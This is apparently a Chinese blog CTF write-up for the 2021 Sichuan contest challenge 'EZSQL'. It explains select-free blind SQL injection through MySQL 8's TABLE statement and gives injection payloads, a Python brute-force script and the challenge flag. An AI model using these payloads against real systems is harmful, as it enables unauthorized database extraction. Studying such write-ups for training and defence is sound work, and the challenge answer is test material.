

2021年四川省大学生网络安全技能大赛EZSQL

原创

w0s1np 于 2021-05-24 22:56:03 发布 233 收藏 1

分类专栏: [wp](#) 文章标签: [wp](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/woshilnp/article/details/117234752>

版权



[wp 专栏收录该内容](#)

10 篇文章 0 订阅

订阅专栏

题目一 EZSQL

操作内容:

考点: MYSQL8新特性

fuzz之后发现, 只能盲注, 过滤了 `select`, 使用 `1' and (ascii(substr(database(),1,1))>num --+` 可以盲注出数据库, 但是后面就搞不动了

无select注入, 使用的是table语句。

```
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
```

这个作用是列出表的全部内容, 于是就可以利用这个语句来进行注入。

首先需要知道表名使用MySQL一些自带的特殊表来盲注表

```
information_schema.TABLESPACES_EXTENSIONS
```

使用这个语句来一个一个字段的注入出表名, 使用这个语句进行注入只能单列查询不能如同联合查询一般使用 `group_concat` 来连接要查询的字段。所以只能用 `limit` 来限制输出的内容。

□

使用盲注将所需的表名注入出来

□

这里两个空位代表着表的两个字段, 一张表中有多少个字段就要有多少个空位。

在注入时还有几个规律要注意:

首先需要从第一个字段开始猜解数据, 如果不按顺序来得到的数据永真。

□

□

其实第二个字段应该为空, 所以需要从第一个字段开始猜解。这是坑点之一, 也算是一个难点。

第二个难点是猜解字符串时 `true` 和 `false` 的出现时机, 在最后一位字符之前都是相同的。

在前面的字符猜解时，直到正确的字符出现时，ascii码小于或等于这个字符的查询结果永真。

□
□

这个字段的值为 `mysql` 因此到 `m` 之前的所有字符都为真。

□

直到 `n` 这个字符，也就是大于 `m` 的才会为假。

只能使用字符串拼接的方式逐字查询也就是 `m my mys` 这样的方式逐步拼接字符串

□

在最后一个字符时规则又跟之前的字符不同，当查询的字符串到达最后一个字符时，ascii码小于这个字符的永真，大于或等于这个字符的才为假。

□
□

最后一个要点，当第一个字符是正确时后面拼接的字符才能正确判断

```
mysql<=mysql aasda<=mysql gasdassd <=mysql
```

这三种情况都是真，第一个字符不正确且结果为真的情况下无论怎么拼接字符串，输出的结果都为真。

先爆破表数量再注入猜解表名

```
1'and('{','')<=(TABLE/**/information_schema.TABLESPACES_EXTENSIONS/**/LIMIT 0,1)--+
```

□
□
□

得到表名后再猜字段数，一个个加空格直到结果为真

```
payload="1'and('','')<=(TABLE/**\*/fakeflag/**\*/limit/**/0,1)--"
```

□
□

最后就是从第一个字段开始注数据慢慢找flag了。

```
payload="1'and(4,'fl4gg','{')<=(TABLE/**/fakeflag/**/limit/**/3,1)--"
```

脚本如下：

```

import requests
from urllib import parse
ascii="/0123456789:;ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxy{|}~"
def exp(url):
    result=""
    tablename=""
    j=0
    while j<=100:
        j+=1
        tablename=result
        for i in ascii:
            payload="1'and(4,\"f14gg\",\"\{ }\")<=(TABLE/**/fakeflag/**/limit/**/3,1)--+\".format(tablename+i)
            #payload="1'and('{ }',')<=(TABLE/**/information_schema.TABLESPACES_EXTENSIONS/**/LIMIT 7,1)--+\".form
            at(tablename+i)
            re=requests.get(url+payload)
            #print(url+payload)
            if "Enjoy This Game" not in re.text:
                result+=chr(ord(i)-1)
                print(result)
                break
            result=result[:-1]+chr(ord(result[-1])+1)
            print(result)

url="http://127.0.0.1/?id="
exp(url)

```

flag值

```
flag{31df1d6dca4683ad8c27acf8c7c04326}
```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)